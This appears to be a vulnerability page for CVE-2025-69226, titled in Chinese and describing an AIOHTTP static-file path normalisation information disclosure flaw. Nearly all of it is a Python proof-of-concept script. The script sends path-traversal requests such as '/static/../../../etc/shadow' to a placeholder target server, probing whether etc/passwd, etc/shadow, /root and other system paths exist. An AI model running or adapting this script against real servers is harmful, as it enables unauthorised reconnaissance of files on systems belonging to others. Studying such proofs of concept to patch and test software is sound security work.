CVE-2025-69226 AIOHTTP静态文件路径规范化信息泄露漏洞

import asyncio import aiohttp async def check_path_exists(base_url, path): """Check if a path component exists on the target server""" async with aiohttp.ClientSession() as session: # Try different path variations to detect existence test_paths = [ f"{base_url}/static/../../../{path}", f"{base_url}/static/../../{path}", f"{base_url}/static/../{path}" ] for test_path in test_paths: try: async with session.get(test_path, timeout=5) as response: # Analyze response to determine path existence print(f"Path: {test_path}") print(f"Status: {response.status}") print(f"Content-Length: {response.headers.get('Content-Length', 'N/A')}") except Exception as e: print(f"Error testing {test_path}: {e}") async def enumerate_paths(base_url): """Enumerate common system paths""" common_paths = [ "etc/passwd", "etc/shadow", "var/log", "usr/local", "home", "root" ] for path in common_paths: await check_path_exists(base_url, path) await asyncio.sleep(0.5) if __name__ == "__main__": target = "http://target-server:8080" asyncio.run(enumerate_paths(target))